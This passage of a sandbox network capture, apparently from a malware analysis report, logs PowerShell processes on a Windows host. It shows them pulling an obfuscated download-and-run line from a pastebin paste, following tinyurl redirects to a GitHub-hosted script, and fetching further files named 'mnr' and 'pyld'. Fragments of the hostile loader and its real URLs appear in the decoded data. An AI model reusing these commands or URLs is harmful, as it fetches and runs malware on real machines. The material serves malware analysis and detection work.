Sep 16, 2024 19:24:10.558132887 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 16 Sep 2024 17:24:10 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Location: https://pastebin.com/raw/sA04Mwk2 Referrer-Policy: unsafe-url X-Robots-Tag: noindex X-TinyURL-Redirect-Type: redirect Cache-Control: max-age=0, must-revalidate, no-cache, no-store, private X-TinyURL-Redirect: eyJpdiI6InZFNjVoa0hlbkhjdmc5K3o4bWs3VFE9PSIsInZhbHVlIjoield4RFU3QVcycHc2MjRJWnFSdkJYM0w5TndSUVhCSFgzMVdYSEFXdy9leGVVL3lodDlPNVljQmZTbFRlOFdTZjk2S1VTdy8xNTZkTWc2MDVjcXBLTHc9PSIsIm1hYyI6IjQ0ZTJjMTQwOTYyODQwYjhlN2NlZjAwYzQxMWI2NTVkMjU0MzliM2I4ODI2ZjA4ZTBkYzAwZTBkYTM0ZDMxZTciLCJ0YWciOiIifQ== X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: HIT Age: 1 Set-Cookie: __cf_bm=WKw4wEN.2QEvUFFcUYrclzENZSzUm9rOqJa7qC9fUQM-1726507450-1.0.1.1-6B8RNBccle0nN6Vzwkxy7YkSmvTbrX6cFlEiMRS94.PxNev7lQUg1uNc2I.0ABnU1Mk_1tk3WnfgqSUIwIyIqA; path=/; expires=Mon, 16-Sep-24 17:54:10 GMT; domain=.tinyurl.com; HttpOnly Server: cloudflare CF-RAY: 8c428c6d9aa3195d-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 31 37 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 70 61 73 74 65 Data Ascii: 17a<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://paste
Sep 16, 2024 19:24:10.558191061 CEST	254	IN	Data Raw: 62 69 6e 2e 63 6f 6d 2f 72 61 77 2f 73 41 30 34 4d 77 6b 32 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 70 61 73 74 65 62 69 6e 2e 63 6f 6d 2f 72 61 77 2f Data Ascii: bin.com/raw/sA04Mwk2'" /> <title>Redirecting to https://pastebin.com/raw/sA04Mwk2</title> </head> <body> Redirecting to <a href="https://pastebin.com/raw/sA04Mwk2">https://pastebin.com/raw/sA04Mwk2</a>. </body></h
Sep 16, 2024 19:24:11.435237885 CEST	140	OUT	GET /yk3s8ubp HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: tinyurl.com
Sep 16, 2024 19:24:11.548172951 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 16 Sep 2024 17:24:11 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt Referrer-Policy: unsafe-url X-Robots-Tag: noindex X-TinyURL-Redirect-Type: redirect Cache-Control: max-age=0, must-revalidate, no-cache, no-store, private X-TinyURL-Redirect: eyJpdiI6ImFoaVE1MHZ5UmtGQlRXby9UOTFwTlE9PSIsInZhbHVlIjoidS9ITnp0TUFFb1gxK1BhKzY0L3pYRkRJdXk4WGdEQ3ZUWFJHRXlQWlVxRExzTDdmNTlQR0QvUXdjUGxzL1M1ZEhXZHEvSldFbzN0bzRpa1Y3WWIxTEE9PSIsIm1hYyI6IjU0Y2QwMjQyZjNkMmJjNGY0MzM3MTUzNTc4MDdmMDQ5MzgyYzA0NWYwZDUyZTY2NTk4NDBkNWQ2MjZhNjU5ZWIiLCJ0YWciOiIifQ== X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: HIT Age: 0 Set-Cookie: __cf_bm=ZJz1Cer7ChTXzkmiv3Dnp4NB2emSkVq_cuxSsWxmePw-1726507451-1.0.1.1-t9le3ZdUCJqgkBMr9tpPes.JY.w0B.GRY2uTuogav2G3FSOM_.m5oZWpitzE1YL4F4QMjmJjK_Ozm0pfiG8_wQ; path=/; expires=Mon, 16-Sep-24 17:54:11 GMT; domain=.tinyurl.com; HttpOnly Server: cloudflare CF-RAY: 8c428c73c88e195d-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 32 34 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 Data Ascii: 24e<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <me
Sep 16, 2024 19:24:11.548209906 CEST	519	IN	Data Raw: 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 4e 65 74 68 33 4e 2f 6e Data Ascii: ta http-equiv="refresh" content="0;url='https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt'" /> <title>Redirecting to https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gab

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	51640	185.199.109.133	80	7780	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 19:24:29.691468000 CEST	226	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Sep 16, 2024 19:24:30.121743917 CEST	545	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:24:30 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890088-NYC X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726507470.080225,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Mon, 16 Sep 2024 17:29:30 GMT Vary: Authorization,Accept-Encoding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	51641	185.199.109.133	80	7768	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 19:24:29.740056992 CEST	226	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Sep 16, 2024 19:24:30.190927029 CEST	545	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:24:30 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890061-NYC X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726507470.147414,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Mon, 16 Sep 2024 17:29:30 GMT Vary: Authorization,Accept-Encoding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	51642	185.199.109.133	80	7728	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 19:24:29.783994913 CEST	226	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Sep 16, 2024 19:24:30.217859983 CEST	545	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:24:30 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740054-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726507470.176559,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Mon, 16 Sep 2024 17:29:30 GMT Vary: Authorization,Accept-Encoding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	51643	185.199.109.133	80	7700	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 19:24:29.853663921 CEST	227	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Sep 16, 2024 19:24:30.301126957 CEST	546	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:24:30 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890034-NYC X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726507470.257612,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Mon, 16 Sep 2024 17:29:30 GMT Vary: Authorization,Accept-Encoding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	51644	185.199.109.133	80	7708	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 19:24:29.871592999 CEST	226	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Sep 16, 2024 19:24:30.331283092 CEST	545	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:24:30 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890048-NYC X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726507470.285519,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Mon, 16 Sep 2024 17:29:30 GMT Vary: Authorization,Accept-Encoding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	51645	185.199.109.133	80	7668	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 19:24:29.891433001 CEST	227	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Sep 16, 2024 19:24:30.332329988 CEST	546	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:24:30 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740060-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726507470.290913,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Mon, 16 Sep 2024 17:29:30 GMT Vary: Authorization,Accept-Encoding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	51646	185.199.109.133	80	7692	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 19:24:29.904628992 CEST	227	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Sep 16, 2024 19:24:30.352304935 CEST	546	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:24:30 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740031-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726507470.309283,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Mon, 16 Sep 2024 17:29:30 GMT Vary: Authorization,Accept-Encoding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	51647	185.199.109.133	80	7660	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 19:24:29.907888889 CEST	227	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Sep 16, 2024 19:24:30.348529100 CEST	546	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:24:30 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740055-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726507470.307185,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Mon, 16 Sep 2024 17:29:30 GMT Vary: Authorization,Accept-Encoding

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49707	104.20.3.235	443	5980	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:24:10 UTC	169	OUT	GET /raw/sA04Mwk2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: pastebin.com Connection: Keep-Alive
2024-09-16 17:24:10 UTC	391	IN	HTTP/1.1 200 OK Date: Mon, 16 Sep 2024 17:24:10 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Mon, 16 Sep 2024 17:24:10 GMT Server: cloudflare CF-RAY: 8c428c6dab6a429b-EWR
2024-09-16 17:24:10 UTC	81	IN	Data Raw: 34 62 0d 0a 63 61 6c 6c 69 54 28 57 49 4e 44 4f 57 53 5f 4e 54 20 28 22 74 69 6e 22 2b 22 79 22 2b 22 75 72 22 2b 22 6c 2e 63 22 2b 22 6f 6d 2f 79 6b 22 2b 22 33 73 38 75 62 70 22 29 20 2d 75 73 65 62 61 73 69 63 70 61 72 73 69 6e 67 29 0d 0a Data Ascii: 4bcalliT(WINDOWS_NT ("tin"+"y"+"ur"+"l.c"+"om/yk"+"3s8ubp") -usebasicparsing)
2024-09-16 17:24:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49708	104.20.3.235	443	3996	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:24:10 UTC	169	OUT	GET /raw/sA04Mwk2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: pastebin.com Connection: Keep-Alive
2024-09-16 17:24:10 UTC	391	IN	HTTP/1.1 200 OK Date: Mon, 16 Sep 2024 17:24:10 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Mon, 16 Sep 2024 17:24:10 GMT Server: cloudflare CF-RAY: 8c428c6dee0442bf-EWR
2024-09-16 17:24:10 UTC	81	IN	Data Raw: 34 62 0d 0a 63 61 6c 6c 69 54 28 57 49 4e 44 4f 57 53 5f 4e 54 20 28 22 74 69 6e 22 2b 22 79 22 2b 22 75 72 22 2b 22 6c 2e 63 22 2b 22 6f 6d 2f 79 6b 22 2b 22 33 73 38 75 62 70 22 29 20 2d 75 73 65 62 61 73 69 63 70 61 72 73 69 6e 67 29 0d 0a Data Ascii: 4bcalliT(WINDOWS_NT ("tin"+"y"+"ur"+"l.c"+"om/yk"+"3s8ubp") -usebasicparsing)
2024-09-16 17:24:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49709	104.20.3.235	443	2668	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:24:10 UTC	169	OUT	GET /raw/sA04Mwk2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: pastebin.com Connection: Keep-Alive
2024-09-16 17:24:11 UTC	391	IN	HTTP/1.1 200 OK Date: Mon, 16 Sep 2024 17:24:10 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Mon, 16 Sep 2024 17:24:10 GMT Server: cloudflare CF-RAY: 8c428c6dffad1829-EWR
2024-09-16 17:24:11 UTC	81	IN	Data Raw: 34 62 0d 0a 63 61 6c 6c 69 54 28 57 49 4e 44 4f 57 53 5f 4e 54 20 28 22 74 69 6e 22 2b 22 79 22 2b 22 75 72 22 2b 22 6c 2e 63 22 2b 22 6f 6d 2f 79 6b 22 2b 22 33 73 38 75 62 70 22 29 20 2d 75 73 65 62 61 73 69 63 70 61 72 73 69 6e 67 29 0d 0a Data Ascii: 4bcalliT(WINDOWS_NT ("tin"+"y"+"ur"+"l.c"+"om/yk"+"3s8ubp") -usebasicparsing)
2024-09-16 17:24:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49711	104.20.3.235	443	6976	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:24:11 UTC	169	OUT	GET /raw/sA04Mwk2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: pastebin.com Connection: Keep-Alive
2024-09-16 17:24:11 UTC	395	IN	HTTP/1.1 200 OK Date: Mon, 16 Sep 2024 17:24:11 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 1 Last-Modified: Mon, 16 Sep 2024 17:24:10 GMT Server: cloudflare CF-RAY: 8c428c718b6642e9-EWR
2024-09-16 17:24:11 UTC	81	IN	Data Raw: 34 62 0d 0a 63 61 6c 6c 69 54 28 57 49 4e 44 4f 57 53 5f 4e 54 20 28 22 74 69 6e 22 2b 22 79 22 2b 22 75 72 22 2b 22 6c 2e 63 22 2b 22 6f 6d 2f 79 6b 22 2b 22 33 73 38 75 62 70 22 29 20 2d 75 73 65 62 61 73 69 63 70 61 72 73 69 6e 67 29 0d 0a Data Ascii: 4bcalliT(WINDOWS_NT ("tin"+"y"+"ur"+"l.c"+"om/yk"+"3s8ubp") -usebasicparsing)
2024-09-16 17:24:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49713	185.199.109.133	443	6976	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:24:12 UTC	222	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 17:24:12 UTC	901	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1442 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "191acb94fb4b222ff094d9ef4cb7033590f0cd67f7ee57add9f2c69343267e71" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 2B1B:1E48F6:C9994E:DFC27C:66E869BB Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:24:12 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740034-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1726507452.074852,VS0,VE100 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 31628f40663d26a93cb9404756f6ef73dd10d2c6 Expires: Mon, 16 Sep 2024 17:29:12 GMT Source-Age: 0
2024-09-16 17:24:12 UTC	1378	IN	Data Raw: 73 6c 65 65 70 20 35 0a 0a 0a 23 20 52 65 74 72 69 65 76 65 20 43 50 55 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0a 24 63 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 50 72 6f 63 65 73 73 6f 72 20 7c 20 53 65 6c 65 63 74 2d 4f 62 6a 65 63 74 20 2d 50 72 6f 70 65 72 74 79 20 4e 61 6d 65 2c 20 4d 61 6e 75 66 61 63 74 75 72 65 72 2c 20 4e 75 6d 62 65 72 4f 66 43 6f 72 65 73 2c 20 4e 75 6d 62 65 72 4f 66 4c 6f 67 69 63 61 6c 50 72 6f 63 65 73 73 6f 72 73 0a 0a 23 20 52 65 74 72 69 65 76 65 20 47 50 55 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0a 24 67 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 56 69 64 65 6f 43 6f 6e 74 72 6f 6c 6c 65 72 20 7c 20 53 65 6c 65 63 74 2d Data Ascii: sleep 5# Retrieve CPU information$cpu = Get-WmiObject -Class Win32_Processor \| Select-Object -Property Name, Manufacturer, NumberOfCores, NumberOfLogicalProcessors# Retrieve GPU information$gpu = Get-WmiObject -Class Win32_VideoController \| Select-
2024-09-16 17:24:12 UTC	64	IN	Data Raw: 33 34 39 35 72 61 79 67 77 69 34 67 79 72 68 75 61 77 65 72 61 77 65 72 61 2f 6d 61 69 6e 2f 67 61 62 65 72 5f 6d 6e 72 2e 74 78 74 20 2d 75 73 65 62 61 73 69 63 70 61 72 73 69 6e 67 29 27 0a Data Ascii: 3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49712	185.199.109.133	443	5980	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:24:12 UTC	222	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 17:24:12 UTC	899	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1442 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "191acb94fb4b222ff094d9ef4cb7033590f0cd67f7ee57add9f2c69343267e71" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 2B1B:1E48F6:C9994E:DFC27C:66E869BB Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:24:12 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740041-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1726507452.076145,VS0,VE99 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 20b6d13b69eef0d2b3d9e8c50593b57f89f7000c Expires: Mon, 16 Sep 2024 17:29:12 GMT Source-Age: 0
2024-09-16 17:24:12 UTC	1378	IN	Data Raw: 73 6c 65 65 70 20 35 0a 0a 0a 23 20 52 65 74 72 69 65 76 65 20 43 50 55 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0a 24 63 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 50 72 6f 63 65 73 73 6f 72 20 7c 20 53 65 6c 65 63 74 2d 4f 62 6a 65 63 74 20 2d 50 72 6f 70 65 72 74 79 20 4e 61 6d 65 2c 20 4d 61 6e 75 66 61 63 74 75 72 65 72 2c 20 4e 75 6d 62 65 72 4f 66 43 6f 72 65 73 2c 20 4e 75 6d 62 65 72 4f 66 4c 6f 67 69 63 61 6c 50 72 6f 63 65 73 73 6f 72 73 0a 0a 23 20 52 65 74 72 69 65 76 65 20 47 50 55 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0a 24 67 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 56 69 64 65 6f 43 6f 6e 74 72 6f 6c 6c 65 72 20 7c 20 53 65 6c 65 63 74 2d Data Ascii: sleep 5# Retrieve CPU information$cpu = Get-WmiObject -Class Win32_Processor \| Select-Object -Property Name, Manufacturer, NumberOfCores, NumberOfLogicalProcessors# Retrieve GPU information$gpu = Get-WmiObject -Class Win32_VideoController \| Select-
2024-09-16 17:24:12 UTC	64	IN	Data Raw: 33 34 39 35 72 61 79 67 77 69 34 67 79 72 68 75 61 77 65 72 61 77 65 72 61 2f 6d 61 69 6e 2f 67 61 62 65 72 5f 6d 6e 72 2e 74 78 74 20 2d 75 73 65 62 61 73 69 63 70 61 72 73 69 6e 67 29 27 0a Data Ascii: 3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49714	185.199.109.133	443	3996	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:24:12 UTC	222	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
